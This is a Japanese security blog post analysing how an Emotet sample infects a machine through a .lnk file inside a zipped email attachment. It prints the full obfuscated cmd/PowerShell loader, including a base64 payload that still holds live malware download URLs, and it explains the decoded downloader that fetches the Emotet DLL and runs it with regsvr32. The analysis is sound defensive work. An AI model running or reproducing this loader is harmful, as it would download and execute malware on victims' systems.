Trojankunのブログ

IT・セキュリティ関連の記事を書きます。

Emotetの感染手法に関する調査

Emotetばら撒き再開

2022/05/12より、Emotetのばら撒きが再開されたそうなので興味本位でEmotetの感染手法について調査しました。 (以下のTweetを参照させていただきました。)


今回調査した検体

https://tria.ge/220511-3czl6sfdfn
zipファイルがメール添付されており、解凍すると中にlnkファイルがあるパターン

lnkファイルに含まれているコマンド全文
"C:\Windows\system32\cmd.exe" /v:on /c M/sXPr4KffgFntQuZ4JBbtq1jStjU+wg3mwp1NCAxQSmay5js/nhnTV2H0+6ZjnJTk5SptbW||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0='))) }"


cmd -> Powershell実行まで
"C:\Windows\system32\cmd.exe" /v:on /c M/sXPr4KffgFntQuZ4JBbtq1jStjU+wg3mwp1NCAxQSmay5js/nhnTV2H0+6ZjnJTk5SptbW||goto&p^o^w^e^r^s^h^e^l^l.e^x^e
  • /v:on・・・プロンプト起動時の遅延環境変数の展開機能を有効にする
  • /c・・・起動後にプロンプトを閉じる
  • コマンド1 || コマンド2・・・コマンド1に失敗したときのみコマンド2を実行
  • コマンド1 & コマンド2・・・コマンド1を実行した後にコマンド2を実行
  • 文字列に含まれるTab文字は無視される
  • 結局のところpowershell.exeが実行される

Powershellの実行
p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0='))) }
  • -c・・・コマンドをPowerShellで実行
  • &{}・・・{}で囲まれた部分のコマンドを評価して実行する
  • iex・・・Invoke-Expression:コマンドを評価して実行する
  • [System.Text.Encoding]::ASCII.GetString・・・文字列をASCIIとして取得する
  • [System.Convert]::FromBase64String・・・文字列をBase64でデコードする
  • なのでBase64文字列をデコードしたコードがPowershellで実行される

Base64文字列
ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0=



Base64文字列のデコード後(一部サニタイズしてます)
     Write-Host "jYmZzigORk";$ProgressPreference="SilentlyContinue";$links=("hxxp://goonboy.com/goonie/bSFz7Av/","hxxp://dulichdichvu.net/libraries/QhtrjCZymLp5EbqOdpKk/","hxxp://genccagdas.com.tr/assets/TTHOm833iNn3BxT/","hxxp://easiercommunications.com/wp-content/w/","hxxp://heaventechnologies.com.pk/apitest/xdeAU0rx26LT9I/","hxxps://www.whow.fr/wp-includes/H54Fgj0tG/");$tmp="IgMID";mkdir -force "$env:TEMP\..\$tmp"  | out-null;foreach ($u in $links) {try {IWR $u -OutFile $env:TEMP\..\IgMID\nvwtSqnuXf.uBB;Regsvr32.exe "$env:TEMP\..\IgMID\nvwtSqnuXf.uBB";break} catch { }}
  • Write-Host "jYmZzigORk"
    • コンソール画面に"jYmZzigORk"を出力する(意味はよくわからない)
  • $ProgressPreference="SilentlyContinue"・・・Powershellの緑帯表示を抑制する
  • $links・・・Emotet本体(DLLファイル)をホストしているURLのリスト
  • mkdir -force "$env:TEMP..\$tmp" | out-null
  • foreach ($u in $links) {try {IWR $u -OutFile $env:TEMP..\IgMID\nvwtSqnuXf.uBB
    • Emotet本体(DLLファイル)をホストしているURLから「IgMID」ディレクトリ配下に「nvwtSqnuXf.uBB」という名前でEmotetをDL
  • Regsvr32.exe "$env:TEMP..\IgMID\nvwtSqnuXf.uBB"
    • Regsvr32.exe に「nvwtSqnuXf.uBB」を登録する

参考

今回の調査を行うにあたって、以下のサイトが大変参考になりました。 binary-pulsar.hatenablog.jp